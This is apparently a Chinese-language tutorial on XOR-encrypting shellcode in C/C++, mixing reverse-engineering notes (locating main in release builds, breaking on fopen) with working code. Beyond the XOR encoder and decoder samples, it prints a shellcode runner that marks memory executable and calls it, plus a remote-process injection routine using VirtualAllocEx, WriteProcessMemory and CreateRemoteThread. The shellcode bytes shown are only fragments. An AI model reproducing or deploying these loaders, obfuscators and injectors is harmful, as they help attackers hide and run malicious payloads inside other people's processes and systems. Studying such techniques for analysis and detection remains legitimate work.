C/C++ 简易异或加密的分析

异或，加解密shellcode代码的简单分析方法。

#include <stdio.h>
#include <Windows.h>

unsigned char buf[] = "\xba\xa9\xb0\x07\x68\xdd\xc3\xd9\x74\x24\xf4\x5e\x31\xc9\xb1";

int main(int argc, char* argv[])
{
	int password = 1025;
	unsigned char enShellCode[500];
	unsigned char deShellCode[500];
	int nLen = sizeof(buf)-1;

	for (int i = 0; i<nLen; i++)
	{
		enShellCode[i] = buf[i] ^ password;
		printf("\\x%x", enShellCode[i]);
	}

	printf("\n");

	for (int i = 0; i<nLen; i++)
	{
		deShellCode[i] = enShellCode[i] ^ password;
		printf("\\x%x", deShellCode[i]);
	}

	system("pause");
	return 0;
}

debug版本

release 版本，先找程序OEP，识别看，argc,argv参数，即可，vs2013 main函数特征 FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ??

优化的很厉害。

解密方式，寻找到加密后的字符串数据，然后找到异或密码，即可编写出解密程序，完成shellcode的还原。

#include <stdio.h>
#include <Windows.h>

unsigned char buf[] = "\xba\xa9\xb0\x07\x68\xdd\xc3\xd9\x74\x24\xf4\x5e\x31\xc9\xb1";

int main(int argc, char* argv[])
{

	unsigned char enShellCode[500];
	int nLen = sizeof(buf) - 1;

	for (int i = 0; i<nLen; i++)
	{
		buf[i] = buf[i] ^ 25;
		buf[i] = buf[i] ^ 3;
		enShellCode[i] = buf[i];
		printf("\\x%x", enShellCode[i]);
	}
	system("pause");
	return 0;
}

如上的几种写法，再release模式下，会被优化成一句，所以达不到混淆作用。

另一个异或案例，加密后将其写入到一个文件中，下fopen()断点，尝试拦截。

#include <stdio.h>
#include <Windows.h>

char ShellCode[] = "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C";

void encoder(char* input, unsigned char key)
{
	int i = 0, len = 0;
	FILE * fp;
	unsigned char * output;
	len = strlen(input);
	output = (unsigned char *)malloc(len + 1);

	for (i = 0; i<len; i++)
		output[i] = input[i] ^ key;

	fp = fopen("shellcode.raw", "w+");
	fprintf(fp, "\"");
	for (i = 0; i<len; i++)
	{
		fprintf(fp, "\\x%0.2x", output[i]);
		if ((i + 1) % 16 == 0)
			fprintf(fp, "\"\n\"");
	}
	fprintf(fp, "\";");
	fclose(fp);

	// 输出加密后的文件
	for (i = 0; i<len; i++)
	{
		printf("%0.2x ", output[i]);
		if ((i + 1) % 16 == 0)
		{
			printf("\n");
		}
	}
	free(output);
}

int main(int argc,char *argv[])
{
	encoder(ShellCode, 1233);

	system("pause");
	return 0;
}

fopen调用了fsopen()，fsopen()同样可拦截。

ShellCode代码执行盒:

#include <stdio.h>
#include <Windows.h>

int main(int argc, char *argv[])
{
	unsigned int char_in_hex;

	char *shellcode = argv[1];
	unsigned int iterations = strlen(shellcode);

	unsigned int memory_allocation = strlen(shellcode) / 2;

	for (unsigned int i = 0; i< iterations - 1; i++)
	{
		sscanf(shellcode + 2 * i, "%2X", &char_in_hex);
		shellcode[i] = (char)char_in_hex;
	}

	void *exec = VirtualAlloc(0, memory_allocation, MEM_COMMIT, PAGE_READWRITE);
	memcpy(exec, shellcode, memory_allocation);
	DWORD ignore;
	VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore);
	(*(void(*)()) exec)();

	return 0;
}

ShellCode注入进程:

#include <stdio.h>
#include <windows.h>

unsigned char ShellCode[] = "shellcode代码";

BOOL InjectShellCode(int Pid)
{
	HANDLE Handle, remoteThread;
	PVOID remoteBuffer;

	Handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);

	remoteBuffer = VirtualAllocEx(Handle, NULL, sizeof(ShellCode), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(Handle, remoteBuffer, ShellCode, sizeof(ShellCode), NULL);
	remoteThread = CreateRemoteThread(Handle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
	CloseHandle(Handle);
}


int main(int argc, char *argv[])
{
	InjectShellCode(1024);
	return 0;
}